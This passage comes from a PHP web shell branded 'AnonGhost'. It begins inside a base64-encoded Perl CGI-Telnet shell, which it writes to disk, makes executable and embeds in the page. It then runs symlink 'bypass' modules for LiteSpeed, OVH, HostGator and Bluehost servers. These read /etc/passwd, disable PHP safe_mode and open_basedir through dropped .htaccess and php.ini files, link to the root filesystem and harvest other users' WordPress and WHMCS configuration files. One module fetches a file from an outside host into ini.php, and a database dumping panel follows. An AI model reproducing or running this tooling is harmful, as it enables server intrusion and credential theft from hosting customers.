CAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
$file = fopen("agcgi14.izo" ,"w+");
$write = fwrite ($file ,base64_decode($agcgi14));
fclose($file);
    chmod("agcgi14.izo",0755);
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost CGI-Telnet Version 1.4</span><br><div class=content> <iframe src=agcgi14/agcgi14.izo width=75% height=60% frameborder=0></iframe>"; }
///////////////////   LITE SPEED   ////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'aglts'))
    {
 echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Litespeed Bypass Priv8 By Mauritania Attacker</span><br><div class=content>";
 ?>
 <center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink</font><p>
 <input type=submit name="aglts" value="Extract usernames" /></form></center>
 <?php if(isset($_POST['aglts'])){ ?><center><form method=post><textarea rows=10 cols=50 name=user>
 <?php  $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."n"; }
 ?></textarea><br><br><input type=submit name=su value="Bypass Configs" /></form></center><?php } ?>
 <?php error_reporting(0); if(isset($_POST['su'])){ mkdir('aglite',0777); $rr  = " <Files *.php> n ForceType application/x-httpd-php4 n </Files> ";
 $g = fopen('aglite/.htaccess','w'); fwrite($g,$rr); $virusa = symlink("/","aglite/root");
 $rt="<a href=aglite/root><font color=#ff0000 size=2 face="comic sans ms"> Bypassed Successfully ^_^</font></a>";
 echo "Check link given below for / folder symlink <br><u>$rt</u>"; mkdir('aglite',0777);
 $rr  = " safe_mode = Off ";
 $g = fopen('aglite/php.ini','w');
 fwrite($g,$rr);
 $virusa = symlink("/","aglite/root");
 mkdir('aglite',0777);
 $file = file_get_contents('http://www.municipiodesuscal.gob.ec/suscal/includes/htaccess.txt');
 $g = fopen('aglite/ini.php', 'w');
 fwrite($g,$file); fclose($g);
 $virusa = symlink("/","aglite/root"); fwrite($f,$r);
 $consym="<a href=aglite/><font color=#ff0000 size=2 face="comic sans ms">configuration files</font></a>";
 echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code <br><u><font color=#58FAF4 size=2 face="comic sans ms">$consym</font></u>";
 $configuration=array("wp-config.shtml","wordpress/wp-config.shtml","configuration.shtml","blog/wp-config.shtml","joomla/configuration.shtml","vb/includes/config.shtml","includes/config.shtml","conf_global.shtml","inc/config.shtml","config.shtml","Settings.shtml","sites/default/settings.shtml","whm/configuration.shtml","whmcs/configuration.shtml","support/configuration.shtml","whmc/WHM/configuration.shtml","whm/WHMCS/configuration.shtml","whm/whmcs/configuration.shtml","support/configuration.shtml","clients/configuration.shtml","client/configuration.shtml","clientes/configuration.shtml","cliente/configuration.shtml","clientsupport/configuration.shtml","billing/configuration.shtml","admin/config.shtml");
 foreach($usr as $uss ){ $us=trim($uss);
 foreach($configuration as $c){
 $rs="/home/".$us."/public_html/".$c;
 $r="aglite/".$us." .. ".$c; symlink($rs,$r); }}}}
//////////////////////// OVH  //////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'agovh'))
    {
 echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Symlink OVH Server Priv8 By Mauritania Attacker</span><br><div class=content>";
 ?>
<center><img src="http://i1-news.softpedia-static.com/images/news2/French-Web-Hosting-Company-OVH-Admits-Being-Hacked-370166-2.png"></center>
<center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p>
<input type=submit name="agovh" value="Extract usernames" /></form></center>
<?php if(isset($_POST['agovh'])){ ?>
<form method=post><textarea rows=10 cols=50 name=user>
<?php  $users=file("/etc/passwd");
foreach($users as $user){ $str=explode(":",$user);
echo $str[0]."n"; } ?></textarea><br><br>
<input type=submit name=su value="OVH Bypass Configs" /></form><br><?php } ?>
<?php error_reporting(0);
echo "<font color=#58FAF4 size=2 face="Courier New">";
if(isset($_POST['su'])) {
mkdir('ovh',0755);
$rr  = " AllowOverride All None n DirectoryIndex index.html index.htm index.php index.php4 index.php5 n AddType application/octet-stream .php n AddHandler server-parsed .php n Addhandler cgi-script .asp n AddType ini .php n AddHandler ini .php ";
$g = fopen('ovh/.htaccess','w');
fwrite($g,$rr); $ovh = symlink("/","ovh/root");
$rt="<a href=ovh/root><font color=#ff0000 size=2 face="Courier New"> OVH Bypassed Successfully ^_^ Check Permission !</font></a>";
echo "Check link given below for / folder symlink <br><b>$rt</b>";
mkdir('ovh',0755); $rr  = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
$g = fopen('ovh/php.ini','w'); fwrite($g,$rr);
$ovh = symlink("/","ovh/root"); fwrite($f,$r);
$consym="<a href=ovh/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
echo "<br><font color=#58FAF4 size=2 face="Courier New">The link given below is for OVH configs path symlink, you can backconnect to the server with python script and retrieve ln /s root easily Good Chance ^_^ </font><br><b><font color=#58FAF4 size=2 face="Courier New">
$consym</font></b>";
$usr=explode("n",$_POST['user']);
$configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
foreach($usr as $uss ){ $us=trim($uss);
foreach($configuration as $c){
$rs="/homez.0/".$us."/www/".$c;
$rs="/homez.1/".$us."/www/".$c;
$rs="/homez.2/".$us."/www/".$c;
$rs="/homez.3/".$us."/www/".$c;
$rs="/homez.4/".$us."/www/".$c;
$rs="/homez.5/".$us."/www/".$c;
$rs="/homez.6/".$us."/www/".$c;
$rs="/homez.7/".$us."/www/".$c;
$rs="/homez.8/".$us."/www/".$c;
$rs="/homez.9/".$us."/www/".$c;
$rs="/homez.10/".$us."/www/".$c;
$rs="/homez.11/".$us."/www/".$c;
$rs="/homez.12/".$us."/www/".$c;
$rs="/homez.13/".$us."/www/".$c;
$rs="/homez.14/".$us."/www/".$c;
$rs="/homez.15/".$us."/www/".$c;
$rs="/homez.16/".$us."/www/".$c;
$rs="/homez.17/".$us."/www/".$c;
$rs="/homez.18/".$us."/www/".$c;
$rs="/homez.19/".$us."/www/".$c;
$rs="/homez.20/".$us."/www/".$c;
$rs="/homez.21/".$us."/www/".$c;
$rs="/homez.22/".$us."/www/".$c;
$rs="/homez.23/".$us."/www/".$c;
$rs="/homez.24/".$us."/www/".$c;
$rs="/homez.25/".$us."/www/".$c;
$rs="/homez.26/".$us."/www/".$c;
$rs="/homez.27/".$us."/www/".$c;
$rs="/homez.28/".$us."/www/".$c;
$rs="/homez.29/".$us."/www/".$c;
$rs="/homez.30/".$us."/www/".$c;
$rs="/homez.31/".$us."/www/".$c;
$rs="/homez.32/".$us."/www/".$c;
$rs="/homez.33/".$us."/www/".$c;
$rs="/homez.34/".$us."/www/".$c;
$rs="/homez.35/".$us."/www/".$c;
$rs="/homez.36/".$us."/www/".$c;
$rs="/homez.37/".$us."/www/".$c;
$rs="/homez.38/".$us."/www/".$c;
$rs="/homez.39/".$us."/www/".$c;
$rs="/homez.40/".$us."/www/".$c;
$rs="/homez.41/".$us."/www/".$c;
$rs="/homez.42/".$us."/www/".$c;
$rs="/homez.43/".$us."/www/".$c;
$rs="/homez.44/".$us."/www/".$c;
$rs="/homez.45/".$us."/www/".$c;
$rs="/homez.46/".$us."/www/".$c;
$rs="/homez.47/".$us."/www/".$c;
$rs="/homez.48/".$us."/www/".$c;
$rs="/homez.49/".$us."/www/".$c;
$rs="/homez.50/".$us."/www/".$c;
$rs="/homez.51/".$us."/www/".$c;
$rs="/homez.52/".$us."/www/".$c;
$rs="/homez.53/".$us."/www/".$c;
$rs="/homez.54/".$us."/www/".$c;
$rs="/homez.55/".$us."/www/".$c;
$rs="/homez.56/".$us."/www/".$c;
$rs="/homez.57/".$us."/www/".$c;
$rs="/homez.58/".$us."/www/".$c;
$rs="/homez.59/".$us."/www/".$c;
$rs="/homez.60/".$us."/www/".$c;
$rs="/homez.61/".$us."/www/".$c;
$rs="/homez.62/".$us."/www/".$c;
$rs="/homez.63/".$us."/www/".$c;
$rs="/homez.64/".$us."/www/".$c;
$rs="/homez.65/".$us."/www/".$c;
$rs="/homez.66/".$us."/www/".$c;
$rs="/homez.67/".$us."/www/".$c;
$rs="/homez.68/".$us."/www/".$c;
$rs="/homez.69/".$us."/www/".$c;
$rs="/homez.70/".$us."/www/".$c;
$rs="/homez.71/".$us."/www/".$c;
$rs="/homez.72/".$us."/www/".$c;
$rs="/homez.73/".$us."/www/".$c;
$rs="/homez.74/".$us."/www/".$c;
$rs="/homez.75/".$us."/www/".$c;
$rs="/homez.76/".$us."/www/".$c;
$rs="/homez.77/".$us."/www/".$c;
$rs="/homez.78/".$us."/www/".$c;
$rs="/homez.79/".$us."/www/".$c;
$rs="/homez.80/".$us."/www/".$c;
$rs="/homez.81/".$us."/www/".$c;
$rs="/homez.82/".$us."/www/".$c;
$rs="/homez.83/".$us."/www/".$c;
$rs="/homez.84/".$us."/www/".$c;
$rs="/homez.85/".$us."/www/".$c;
$rs="/homez.86/".$us."/www/".$c;
$rs="/homez.87/".$us."/www/".$c;
$rs="/homez.88/".$us."/www/".$c;
$rs="/homez.89/".$us."/www/".$c;
$rs="/homez.100/".$us."/www/".$c;
$rs="/homez.101/".$us."/www/".$c;
$rs="/homez.102/".$us."/www/".$c;
$rs="/homez.103/".$us."/www/".$c;
$rs="/homez.104/".$us."/www/".$c;
$rs="/homez.105/".$us."/www/".$c;
$rs="/homez.106/".$us."/www/".$c;
$rs="/homez.107/".$us."/www/".$c;
$rs="/homez.108/".$us."/www/".$c;
$rs="/homez.109/".$us."/www/".$c;
$rs="/homez.110/".$us."/www/".$c;
$rs="/homez.111/".$us."/www/".$c;
$rs="/homez.112/".$us."/www/".$c;
$rs="/homez.113/".$us."/www/".$c;
$rs="/homez.114/".$us."/www/".$c;
$rs="/homez.115/".$us."/www/".$c;
$rs="/homez.116/".$us."/www/".$c;
$rs="/homez.117/".$us."/www/".$c;
$rs="/homez.118/".$us."/www/".$c;
$rs="/homez.119/".$us."/www/".$c;
$rs="/homez.120/".$us."/www/".$c;
$rs="/homez.121/".$us."/www/".$c;
$rs="/homez.122/".$us."/www/".$c;
$rs="/homez.123/".$us."/www/".$c;
$rs="/homez.124/".$us."/www/".$c;
$rs="/homez.125/".$us."/www/".$c;
$rs="/homez.126/".$us."/www/".$c;
$rs="/homez.127/".$us."/www/".$c;
$rs="/homez.128/".$us."/www/".$c;
$rs="/homez.129/".$us."/www/".$c;
$rs="/homez.130/".$us."/www/".$c;
$r="ovh/".$us." .. ".$c; symlink($rs,$r);}}}}

/////////////////  HOSTGATOR /////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hostg'))
    {
 echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Symlink HostGator Server ('.ini') Extension Method Priv8 By Mauritania Attacker</span><br><div class=content>";
 ?>
 <center>
 <img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center>
 <center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font>
 <p><input type=submit name="hostg" value="Extract usernames" /></form></center>
 <?php
 if(isset($_POST['hostg'])){ ?>
 <form method=post><textarea rows=10 cols=50 name=user>
 <?php
 $users=file("/etc/passwd");
 foreach($users as $user){ $str=explode(":",$user);
 echo $str[0]."n"; }
 ?></textarea><br><br>
 <input type=submit name=su value="Bypass HostGator Configs" /></form>
 <?php } ?>
 <?php error_reporting(0);
 echo "<font color=#58FAF4 size=2 face="Courier New">";
 if(isset($_POST['su'])){ mkdir('HostGator',0755);$rr  = " Options +FollowSymLinks n DirectoryIndex Sux.html n Options +Indexes n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain.html ";
 $g = fopen('HostGator/.htaccess','w');
 fwrite($g,$rr);
 $HostGator = symlink("/","HostGator/root");
 $rt="<a href=HostGator/root><font color=#ff0000 size=2 face="Courier New"> Bypassed Successfully</font></a>";
 echo "Check link given below for / folder symlink <br><b>
 $rt</b>"; mkdir('HostGator',0755); $rr  = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
 $g = fopen('HostGator/php.ini','w');
 fwrite($g,$rr);
 $HostGator = symlink("/","HostGator/root");
 fwrite($f,$r);
 $consym="<a href=HostGator/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
 echo "<br><font color=#58FAF4 size=2 face="Courier New">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^	</font><br><b><font color=#58FAF4 size=2 face="Courier New">
 $consym</font></b>";
 $usr=explode("n",$_POST['user']);
 $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c){ $rs="/home/".$us."/public_html/".$c;
 $r="HostGator/".$us." .. ".$c; symlink($rs,$r); }}}}
/////////////////////  BLUEHOST  ///////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'blhost'))
    {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bluehost Symlink Bypass Priv8 By Mauritania Attacker | Kaizen</span><br><div class=content>";
?>
<center><img src="http://gocomparehosting.com/wp-content/uploads/2016/10/logo-bluehost.png"></center>

<center>
<form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p>
	<input type=submit name="blhost" value="Extract usernames" /></form></center>

	<?php
	if(isset($_POST['blhost'])){
		?><form method=post>
	<textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."n";
}

?></textarea><br><br>
	<input type=submit name=su value="Bluehost Bypass Configs" /></form>
	<?php } ?>
	<?php
	error_reporting(0);
	echo "<font color=#58FAF4 size=2 face="Courier New">";
	if(isset($_POST['su']))
	{
	mkdir('bluehost',0755);
$rr  = " AllowOverride All None n DirectoryIndex index.html index.htm index.php index.php4 index.php5 n AddType application/octet-stream .php n AddHandler server-parsed .php n Addhandler cgi-script .asp n AddType ini .php n AddHandler ini .php ";
$g = fopen('bluehost/.htaccess','w');
fwrite($g,$rr);
$bluehost = symlink("/","bluehost/root");
		    $rt="<a href=bluehost/root><font color=#ff0000 size=2 face="Courier New"> Bypassed Successfully ^_^</font></a>";
        echo "Check link given below for / folder symlink <br><b>$rt</b>";

mkdir('bluehost',0755);
$rr  = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
$g = fopen('bluehost/php.ini','w');
fwrite($g,$rr);
$bluehost = symlink("/","bluehost/root");

		fwrite($f,$r);
        $consym="<a href=bluehost/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
       	echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code if not backconnect to the server with perl script and read Configs easily Good Chance ^_^ <br><b><font color=#58FAF4 size=2 face="Courier New">$consym</font></b>";

			$usr=explode("n",$_POST['user']);
       	$configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
		foreach($usr as $uss )
		{
			$us=trim($uss);

			foreach($configuration as $c)
			{
			 $rs="/home/".$us."/public_html/".$c;
			 $rs="/home1/".$us."/public_html/".$c;
			 $rs="/home2/".$us."/public_html/".$c;
			 $rs="/home3/".$us."/public_html/".$c;
			 $rs="/home4/".$us."/public_html/".$c;
			 $rs="/home5/".$us."/public_html/".$c;
			 $rs="/home6/".$us."/public_html/".$c;
			 $rs="/home7/".$us."/public_html/".$c;
			 $rs="/home8/".$us."/public_html/".$c;
		     $r="bluehost/".$us." .. ".$c;
			 symlink($rs,$r);

		}

			}
		}

		}
//////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
    {
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>MySQL & PostgreSql Connect</span><br><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td><font face='Tahoma' color='#3498DB' size='2pt' />Type</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Host</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Login</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Password</td><td><font face='Tahoma' color='#3498DB' size='2pt' />Database</td><td></td></font></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<center><color='black'><td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>

<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font face='Tahoma' color='#3498DB' size='2pt' />count the number of rows</td></center> <br>
</tr>
</table> <br>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick="st('".$value."',1)">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
